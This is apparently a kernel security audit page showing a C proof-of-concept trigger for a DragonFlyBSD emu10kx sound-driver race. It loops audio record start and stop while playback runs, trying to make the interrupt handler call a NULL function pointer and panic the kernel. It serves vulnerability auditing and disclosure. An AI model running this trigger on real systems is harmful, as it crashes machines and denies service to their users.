⬢ DragonFlyBSD Kernel Audit
DF-3867 / trigger.c
← back to finding ↓ download raw
/*
 * DF-3867 — would-be runtime trigger for the emu_intr() dispatch race.
 *
 * On real emu10kx hardware: process A plays on /dev/dsp0 (keeps the card
 * generating interrupts), process B loops record START/STOP.  Every STOP
 * runs emu_intr_unregister() under sc->lock, which NULLs
 * ihandler[i].irq_func/softc (emu10kx.c:964-967).  The interrupt handler
 * emu_intr() (emu10kx.c:980-1033, INTR_MPSAFE, lockless) does:
 *
 *     if (((sc->ihandler[i].intr_mask) & stat) != 0 &&
 *         ((void *)sc->ihandler[i].irq_func) != NULL) {          // :995
 *             ack |= sc->ihandler[i].irq_func(sc->ihandler[i].softc, ...); // :996
 *
 * The NULL check and the indirect call are two separate loads with no
 * synchronization against the unregistering thread — if STOP lands between
 * them, the kernel calls through a NULL function pointer -> panic.
 *
 * NOT RUN on the audit guest: no Creative Labs hardware (see DF-3866 pack,
 * same gate).  Racing a hardirq from userland is also probabilistic even
 * on real hardware; this file documents the exact trigger shape.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <sys/wait.h>

static void
rec_loop(const char *dev, int iters)
{
	int fd, i, trig, fmt = AFMT_S16_LE, speed = 48000;

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		printf("GATE: open %s: %s\n", dev, strerror(errno));
		exit(77);
	}
	ioctl(fd, SNDCTL_DSP_SETFMT, &fmt);
	ioctl(fd, SNDCTL_DSP_SPEED, &speed);
	for (i = 0; i < iters; i++) {
		trig = PCM_ENABLE_INPUT;
		if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0)
			break;
		usleep(100);			/* let interrupts flow */
		trig = 0;				/* unregister races hardirq */
		if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0)
			break;
	}
	printf("rec_loop done %d cycles\n", i);
	close(fd);
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/dsp0";
	int pfd, trig, fmt = AFMT_S16_LE, speed = 48000, status;
	pid_t pid;

	/* playback keeps EMU_IPR_INTERVALTIMER interrupts arriving */
	pfd = open(dev, O_WRONLY);
	if (pfd < 0) {
		printf("GATE: open %s: %s\n", dev, strerror(errno));
		return (77);
	}
	ioctl(pfd, SNDCTL_DSP_SETFMT, &fmt);
	ioctl(pfd, SNDCTL_DSP_SPEED, &speed);
	trig = PCM_ENABLE_OUTPUT;
	ioctl(pfd, SNDCTL_DSP_SETTRIGGER, &trig);

	pid = fork();
	if (pid == 0)
		rec_loop(dev, 100000);

	sleep(60);				/* race window */
	kill(pid, SIGKILL);
	waitpid(pid, &status, 0);
	trig = 0;
	ioctl(pfd, SNDCTL_DSP_SETTRIGGER, &trig);
	close(pfd);
	printf("if the kernel survived 60s of racing, no panic occurred\n");
	return (0);
}